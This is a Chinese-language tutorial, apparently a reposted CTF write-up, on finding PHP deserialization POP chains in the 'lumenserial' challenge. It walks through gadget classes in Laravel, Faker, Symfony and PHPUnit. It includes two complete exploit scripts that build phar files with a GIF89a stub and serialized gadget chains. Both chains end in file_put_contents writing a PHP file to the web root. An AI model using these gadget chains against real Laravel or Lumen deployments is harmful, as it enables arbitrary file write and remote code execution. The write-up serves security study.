您好,登錄后才能下訂單哦!
本篇文章為大家展示了PHP反序列化中怎樣尋找POP鏈,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過(guò)這篇文章的詳細(xì)介紹希望你能有所收獲。
以 code-breaking 中 lumenserial 為例,練習(xí)PHP反序列化 POP鏈 的尋找。
我們直接搜索 'function dispatch(' ,發(fā)現(xiàn)有一個(gè) Dispatcher 類(lèi)的 dispatchToQueue 方法中調(diào)用的 call_user_func 函數(shù)兩個(gè)參數(shù)都可控,而且 dispatch 中調(diào)用了 dispatchToQueue 方法,代碼如下:
從代碼中我們可以看到,只要傳入的 $command 變量是 ShouldQueue 類(lèi)的實(shí)例即可。通過(guò)搜索,我們會(huì)發(fā)現(xiàn) ShouldQueue 是一個(gè)接口,那么我們找到其實(shí)現(xiàn)類(lèi)即可。直接搜索 'implements ShouldQueue' ,我們隨便選取一個(gè)實(shí)現(xiàn)類(lèi)即可,這里我選用 CallQueuedClosure 類(lèi),相關(guān)代碼如下:
現(xiàn)在 call_user_func 函數(shù)的兩個(gè)參數(shù)都可控,又變成了我們可以調(diào)用任意對(duì)象的任意方法了,這樣我們有可以利用上篇文章中的方法,調(diào)用 ReturnCallback 類(lèi)的 invoke 方法,并傳入 StaticInvocation 類(lèi)的對(duì)象作為參數(shù),形成整個(gè)完整的 POP鏈 ,利用 exp 如下:
<?php namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; function __construct($events, $event){ $this->events = $events; $this->event = $event; } } class BroadcastEvent{ public $connection; public function __construct($connection) { $this->connection = $connection; } } }; namespace PHPUnit\Framework\MockObject\Stub{ class ReturnCallback { private $callback; public function __construct($callback) { $this->callback = $callback; } } }; namespace PHPUnit\Framework\MockObject\Invocation{ class StaticInvocation{ private $parameters; public function __construct($parameters){ $this->parameters = $parameters; } } }; namespace Illuminate\Bus{ class Dispatcher{ protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } } }; namespace{ $function = 'file_put_contents'; $parameters = array('/var/www/html/11.php','<?php phpinfo();?>'); $staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters); $broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($staticinvocation); $returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function); $dispatcher = new Illuminate\Bus\Dispatcher(array($returncallback,'invoke')); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent); $o = $pendingbroadcast; $filename = 'poc.phar';// 后綴必須為phar,否則程序無(wú)法運(yùn)行 file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); }; ?>
我們?cè)偻ㄟ^(guò)下面這張圖片,來(lái)理清整個(gè) POP鏈 的調(diào)用過(guò)程。
接下來(lái)這個(gè) POP鏈 思路是參考 這篇 文章,尋找 POP鏈 的思路還是從 dispatch 方法入手。在上篇文章中,我們發(fā)現(xiàn)第一個(gè) RCE 走了 Generator 類(lèi)的 __call 方法,這個(gè)方法作為 POP鏈 中的一部分極其好用,因?yàn)?call_user_func_array 方法中的兩個(gè)參數(shù)完全可控。我們只要找到方法中存在形如 this->$object->$method($arg1,$arg2) ,且 $object 、 $method 、 $arg1 、 $arg2 四個(gè)參數(shù)均可控制,那么就可以利用這個(gè) Generator 類(lèi)的 __call 方法,最終調(diào)用 call_user_func_array('file_put_contents',array('1.php','xxx')) 。
我們繼續(xù)搜索 dispatch ,會(huì)發(fā)現(xiàn)一個(gè) TraceableEventDispatcher 類(lèi)的 dispatch 方法,其代碼如下:
我們發(fā)現(xiàn)其調(diào)用了 preProcess 方法,傳入的 $eventName 變量是可控的,我們跟進(jìn)該方法, 具體代碼如下:
可以看到我們得讓 $this->dispatcher->hasListeners($eventName) 返回 true ,否則返回的空值對(duì)我們無(wú)用。然后 第12行 的 getListeners 方法返回的值得是一個(gè)數(shù)組,這樣我們才能進(jìn)入 foreach 結(jié)構(gòu)里。之所以要進(jìn)到 foreach 結(jié)構(gòu)里,是因?yàn)槲覀冊(cè)?第16行 看到了 $this->dispatcher->removeListener($eventName, $listener) ,結(jié)構(gòu)形如: this->$object->$method($arg1,$arg2) ,前三個(gè)參數(shù)可以按照如下構(gòu)造:
this->$object = new Faker\Generator(); this->$object->$method = 'removeListener'; arg1 = '/var/www/html/1.php'; this->formatters['removeListener'] = 'file_put_contents';
這樣子構(gòu)造之后,執(zhí)行到 $this->dispatcher->removeListener($eventName, $listener) 時(shí),就會(huì)調(diào)用 Generator 類(lèi)的 __call 方法,繼而執(zhí)行 call_user_func_array('file_put_contents',array('/var/www/html/upload/1.php',$listener)) ,所以我們只要再確保第四個(gè)參數(shù) $listener 可控即可。
現(xiàn)在我們?cè)倩氐缴厦?第6行 的 if 語(yǔ)句,我們需要先繞過(guò)這個(gè)判斷條件。該代碼會(huì)調(diào)用 Faker\Generator 類(lèi)的 hasListeners 方法,進(jìn)而觸發(fā) __call 方法,那么我們只要將 this->formatters['hasListeners'] 設(shè)置成 'strlen' 即可,之后就會(huì)調(diào)用 call_user_func_array('strlen','var/www/html') ,這樣就可以繞過(guò) if 語(yǔ)句。
j接著我們?cè)倩氐?foreach 語(yǔ)句,繼續(xù)搜索可利用的 getListeners 方法,看看是否可以返回一個(gè)可控?cái)?shù)組(返回?cái)?shù)組才能進(jìn)入 foreach 語(yǔ)句)。通過(guò)搜索,我們會(huì)發(fā)現(xiàn)一個(gè) Dispatcher 類(lèi)的 getListeners 符合我們的要求,其具體代碼如下:
此時(shí) $eventName 是我們傳入的 '/var/www/html/upload/1.php' ,很明顯上面的代碼中可以返回一個(gè)數(shù)組,而且數(shù)組的值完全可控。
剛才 foreach 中的 $this->dispatcher->getListeners() 調(diào)用的是 Faker\Generator 類(lèi)的 getListeners 方法,現(xiàn)在我們要想辦法讓它調(diào)用 Dispatcher 類(lèi)的 getListeners 方法。我們?cè)倏匆幌聞偛?Generator 的調(diào)用流程圖:
可以看到只要我們將 this->providers 設(shè)置為 array(Dispatcher類(lèi)) 即可,之后的調(diào)用就類(lèi)似于 call_user_func_array(array(Dispatcher類(lèi),'getListeners'),'/var/www/html/1.php') 。
現(xiàn)在基本完成了整個(gè)利用鏈,不過(guò)在執(zhí)行到 $this->dispatcher->removeListener($eventName, $listener) 之前,還有一些額外的代碼需要執(zhí)行,我們要確保這些代碼不會(huì)影響我們下面的方法,所以我們需要繼續(xù)看 foreach 下面的代碼(這里說(shuō)的是 TraceableEventDispatcher 類(lèi) preProcess 方法中的 foreach )。
我們看到其調(diào)用了本類(lèi)的 getListenerPriority 方法,具體代碼如下:
我們看到 第16行 ,返回 $this->dispatcher->getListenerPriority($eventName, $listener) ,簡(jiǎn)直完美。我們可以不用執(zhí)行到剛才的 removeListener 方法,直接到這里就可以完成整個(gè) POP鏈 了。最終的利用 exp 如下:
<?php namespace Illuminate\Events{ class Dispatcher{ protected $listeners; protected $wildcardsCache; public function __construct($parameter,$function){ $this->listeners[$parameter['filename']] = array($parameter['contents']); } } }; namespace Faker{ class Generator{ protected $providers; protected $formatters; public function __construct($providers,$formatters){ $this->providers = $providers; $this->formatters = $formatters; } } }; namespace Symfony\Component\EventDispatcher\Debug{ class TraceableEventDispatcher{ private $dispatcher; public function __construct($dispatcher){ $this->dispatcher = $dispatcher; } } }; namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; public function __construct($events, $parameter){ $this->events = $events; $this->event = $parameter['filename']; } } } namespace { $function = 'file_put_contents'; $parameters = array('filename' => '/var/www/html/1.php','contents' => '<?php phpinfo();?>'); $dispatcher = new \Illuminate\Events\Dispatcher($parameters,$function); $generator = new \Faker\Generator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]); $traceableeventdispatcher = new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($traceableeventdispatcher,$parameters); $o = $pendingbroadcast; $filename = 'poc.phar';// 后綴必須為phar,否則程序無(wú)法運(yùn)行 file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); "); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); } ?>
我們?cè)偻ㄟ^(guò)下面這張圖片,來(lái)理清整個(gè) POP鏈 的調(diào)用過(guò)程。
上述內(nèi)容就是PHP反序列化中怎樣尋找POP鏈,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。